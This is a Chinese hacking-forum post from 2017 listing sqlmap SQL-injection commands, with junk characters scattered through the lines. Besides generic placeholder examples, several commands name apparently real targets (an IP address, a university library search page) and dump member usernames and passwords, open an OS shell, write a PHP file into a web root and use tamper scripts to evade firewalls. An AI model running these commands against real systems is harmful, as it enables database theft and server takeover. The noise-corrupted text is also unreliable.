找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1666|回复: 0
打印 上一主题 下一主题

sqlmap使用实例

[复制链接]
跳转到指定楼层
楼主
发表于 2017-5-19 17:03:10 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
/pentest/database/sqlmap3 Y5 ~& a3 b; [/ K
) |% U! s7 K- B$ G
update :::::>     in the folder   after  execute    following   order : svn update! k! T+ F8 ~, T. B! G4 c

- r- R  l) F; ?5 Csqlmap.py -r 1.txt --current-db8 ~( j0 ~- V* e. Z9 ]) {

. p8 _* A, A. M0 t: f1 C( Av 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
$ a% d! }. ?% Z0 M; l0 w: [# K9 k& l- ]0 K; s# b' d
==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1))
' x6 W" F: O9 J  }$ g9 G0 D猜解数据库, U7 Y" D3 q% C7 h- n$ _$ s5 H
./sqlmap.py -u "injection-url" --dbs
0 I" ?0 g+ m6 a' v' Hsqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"
0 X3 v  s% E( D/ m7 f6 _) \
4 Z( Q* p) v$ B1 @猜解表名0 ^" Y" t( }) T1 D9 }
./sqlmap.py -u "injection-url" -D database_name --tables  V: g4 q, _3 q/ s
( r) {4 L& _9 J( [+ _! f( k
sqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"8 [1 x8 }: W- X6 K. p; H
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py" ( S2 H( w2 ^& G% s$ M% D

6 Y' `8 I4 [# z$ ]sqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump) }' n* w8 q! b) `( K% I& l
+ }0 f* |9 M0 A
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
' t6 I' U# V" y2 i" Vsqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"
% F  g. |1 i% d" Esqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py"
% ^, z' b1 l: {8 s% o/ t  Jsqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"2 W' ?$ @& [$ q& Q6 Z9 [9 T2 X

) b- Q' e/ T1 qsqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"
. G1 P+ {8 K2 Z4 p, {* N. p1 Wsqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"; U: v' u" P3 g! x" }# S7 @2 o/ ]
sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
, b' P, p  A: B% I: o% U4 F/ osqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"
8 ?( h4 Z+ w  {9 c) Fsqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump$ D% e" [# Z! F
0 X3 W# Y( ?) M% M& [+ @
sqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了4 k' u3 k/ q) u1 Y* x: N
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"
1 g' T! J5 M7 l+ |$ |; j6 h5 z; K8 ~: o' G! p8 O- ?
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"' n5 t* t0 S1 S0 _  i+ \! Y/ L
猜解列名) Z2 o( C) q" i
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns  m! w. V, ~& K
: F3 i" t3 s% q% s, u5 ?
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py"
4 c, v- f$ ]5 a1 T9 usqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" 4 [8 c4 s% H2 Y+ }
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
6 ^4 z7 U% f& m/ J! e2 q! r4 ^" m1 d; J1 Z3 m( T6 u# |2 C7 {
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
" X* s% \; L7 \8 P* D- j2 R2 g&submit=Go
; Z  Q4 ?2 }/ z猜解值
) i: ^' k( Q5 X./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump
+ @( k" I# y% ]! o7 G* ~. I========================================================: p5 L! `; |& o/ e! m
搜索表名中包括mana字符的
; Z* Z- _! f8 ^1 \" @) e: O/sqlmap.py -u "injection-url" -T mana --search
0 |$ R% U, }0 ~. t0 j返回一个交互式sql shell9 U0 t4 m* r* V; e) Z! A# b
/sqlmap.py -u "injection-url" --sql-shell+ i8 j9 _) {2 `# e0 Y
读取指定文件(需权限)
: s  l: G! e4 ^+ Q/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"& \( h# w  ?- a, q
查看当前 用户 及 数据库 6 P7 h$ M/ m: c  }4 \" z
/sqlmap.py -u "injection-url" --current-user --current-db
% |; g9 `* l  r本地文件 写入 远程目标绝对路径- Z# B" E/ t' s& }/ b: g
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
( r2 P6 o1 _; G- Jsqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py"
: R0 W8 C, _7 ?0 q, T' D
8 i2 i7 ]+ C, y' ?! K* {& \% msqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径: c0 @! @' {& j
查看某用的权限
8 k# q5 k- l9 W$ Z* o% r7 r" X/sqlmap.py -u "injection-url" --privileges -U root( t/ q7 t# V) j3 m/ W
查看当前用户是否为dba
: w* N0 k1 i6 C; v9 Z7 F/sqlmap.py -u "injection-url" --is-dba
! l4 }% m" W% r( c2 p. w读取所有数据库用户或指定数据库用户的密码
/ m" y' r# _: v& I4 M3 ssqlmap.py -r 1.txt --users --passwords
: L" L  g$ \$ Z4 `( hsqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py" 6 q/ d$ V0 q) d6 O1 {* G* I: c

4 E0 x4 V% C- o- {& ^6 d8 a* {. q/sqlmap.py -u "injection-url" --passwords -U root
, E1 g" h/ n+ l
2 X1 M' u; a5 b3 P- \# J" U- h--start&&--stop 与 --first&&--last 的区别
" n: \1 z0 m7 Q& F. L! R6 C$ W/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
+ |, g# M0 x. g& R+ z0 Q5 \& {( X3 {6 J
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)
8 `) f  C( {% w# C- u9 U/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables1 U. r! z$ e5 X1 _8 p
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns9 I9 N+ L* x% r8 f- x: x
3 w1 i) E2 g8 S+ K
执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)
  n/ _7 @  A. r$ T5 \/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip": a" _9 j" y" W
' x- ?& R6 F0 j" y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表